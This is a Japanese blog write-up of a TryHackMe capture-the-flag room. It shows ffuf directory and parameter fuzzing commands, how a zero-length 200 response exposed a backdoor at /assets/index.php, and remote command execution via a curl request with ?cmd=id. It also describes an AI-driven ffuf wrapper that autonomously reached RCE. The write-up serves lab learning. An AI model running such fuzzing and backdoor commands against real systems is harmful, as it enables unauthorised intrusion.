🔥

このffuf結果、どれが怪しいかわかりますか?(テヘペロ)

に公開

背景

えー。唐突ですけど。ffufの結果って、流し見してませんか?

僕はしてました。「あー、これとこれがあるのね」ってステータスコードだけ確認して、次のアクションに移っちゃう感じ。
だいたいこんな出力がバーって流れてくるじゃないですか。

"status","length","words","lines","content_type","url","redirect"
200,2542,276,53,"text/html","http://<target_ip>/about.html",""
200,2573,232,64,"text/html","http://<target_ip>/admissions.html",""
301,313,20,10,"text/html; charset=iso-8859-1","http://<target_ip>/assets","http://<target_ip>/assets/"
301,320,20,10,"text/html; charset=iso-8859-1","http://<target_ip>/assets/images","http://<target_ip>/assets/images/"
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php",""
200,2056,142,72,"text/html","http://<target_ip>/contact.html",""
200,2580,180,88,"text/html","http://<target_ip>/courses.html",""
200,1988,171,62,"text/html","http://<target_ip>/index.html",""

どれが怪しいかわかりますか?

  • 「全部200で正常やん」
  • 「301は普通のリダイレクトやん」
  • 「所々エンコード違うけど。それがなにか?」

...って思いますよね。
でも1行だけ、明らかに違うやつが混じってます。


対象ルーム

今回やってたのは TryHackMe の UA High School というルーム。

ヒロアカ(僕のヒーローアカデミア)の設定で、UA高校のWebサーバに侵入するというやつ。
ちなみに自分はヒロアカという漫画はうっすらしかしらない。

なんか学校のサイトがあるな、くらいの温度感でffufを回しました。


使ったコマンド

ffuf -u "http://$RHOST/FUZZ" \
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -ac \
     -e .php,.html,.txt,.bak \
     -recursion -recursion-depth 2 \
     -t 150 -timeout 5 -c \
     -o result.json -of json

結果はjqでCSVに変換して確認した。

オプション 意味
-ac 自動キャリブレーション。偽陽性を自動でフィルタ
-e .php,.html,.txt,.bak 拡張子つきでもスキャン
-recursion -recursion-depth 2 発見したディレクトリを再帰的に探索
-t 150 並列スレッド数

スレッド数はマシンスペック等に依存するのでチューニング必要。
攻撃するマシン能力にもよるからなんとも言えんけど、適当に150に設定♪


怪しいやつの正体

答え言います。

200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php",""

length=0 です。

他のHTMLファイルは全部 2000〜2500バイト 返ってきてる。
なのにこのPHPファイルだけ、ゼロ。

200 OKなのに中身がない。

でも待てよ。PHPが200返すのに中身ゼロって、何もしないPHPわざわざ置く?

普通に考えて、PHPが「何も返さない」パターンって:

  1. パラメータを渡さないと何もしない
  2. エラーを握りつぶしてる
  3. 条件を満たさないと動かない
  4. etc...

どれにしても、何かを待ってる感じがする。
という推測を立ててですね。


パラメータ名を総当たりしてみた

「何かを待ってる」なら、まずパラメータ名を総当たりしてみよう。

ffuf -u "http://<target_ip>/assets/index.php?FUZZ=1" \
     -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
     -t 150 -timeout 5 -c \
     -o result.json -of json

burp-parameter-names.txtというSecListsのワードリストでパラメータ名を片っ端から試す。
FUZZの部分にパラメータ名が入って、valueは1固定。
なんで1にしたか?適当ですよ___

結果がこれ。(jsonは見づらいためjqを使用してcsvで整形)

"status","length","words","lines","content_type","url","redirect"
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?googleplus=1",""
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?goto=1",""
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?gotod=1",""
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?gpack=1",""
200,0,1,1,"text/html; charset=UTF-8","http://<target_ip>/assets/index.php?gpsinitcmd=1",""
...

全部200、全部length=0。

「え、全パラメータが有効ってこと?」って思うんですが。
googleplusもgpsinitcmdも同じ結果って、パラメータ名を見てないんじゃないの?

ここで気づいた。

valueが1固定だった。適当過ぎた。

サーバーはたぶん「コマンドとして実行できる値が来たら出力する」という作りで、
?cmd=1も?googleplus=1も、実行しても意味のある出力がないからlength=0で返してる。
パラメータ名が何であれ、値が悪ければ何も返ってこない。

もうちょっというと、
valueが1だとcommand not found: 1って返ってきてもいい。。
おそらくstderrは表示されず、stdoutしか返さない。

つまりこのスキャンで「全パラメータが有効」と読むのは間違い。


じゃあvalueを変えてみる

  • パラメータ名が問題じゃなく、valueが問題なんだとしたら。
  • length=0のPHPファイルが「コマンド実行系のバックドア」だとしたら。

ここからは地道に泥臭くなんすよぇ。

curl "http://<target_ip>/assets/index.php?cmd=id"

レスポンスが返ってきた。

dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK

文字列は返ってきたけど、そのままでは読めん。
ふざけるな!

こういうときは、CyberChefの "Magic" レシピ に投げるんです。

Base64 ぽいと判定してくれた。確認できたのでデコードする。

curl "http://$RHOST/assets/index.php?cmd=id" | base64 -d
uid=33(www-data) gid=33(www-data) groups=33(www-data)

刺さったぁ。

idコマンドの結果がそのまま返ってきた。
shell_exec()か何かで、パラメータをそのままOSに投げてるやつ。

RCEです。リモートコード実行。

「length=0の200 OK」が、バックドアの入口だった。


おまけ:LLMにやらせてみた

実は今回、自作のffufラッパースクリプトにClaude CLIを組み込んだLLMモードを作ってて。

my-ffuf llm "http://<target_ip>/assets/index.php"

こいつにエンドポイントを渡したら、自律的に:

  1. curlでベースラインを確認
  2. length=0に着目
  3. ?cmd=を試行
  4. Base64をデコード
  5. ファイルシステムを探索

...を順番にやってRCEまで到達してルームの攻略まで推論。

もう人間がペンテストをやる意味が。。。って思った。
しかしかなりレスポンスが遅い。20~30分くらいかかる。おせーおせー。


まとめ

length=0の200 OKを見たら疑え。

パターン 意味
200 + length > 0 普通のページ
301 リダイレクト
200 + length = 0 何かを待ってる可能性がある

ffufの結果は「URLの一覧」じゃなくて、「レスポンスの差分」として読む。
数字の違和感を見つけたら、そこを掘る。ってことで。


参考

Discussion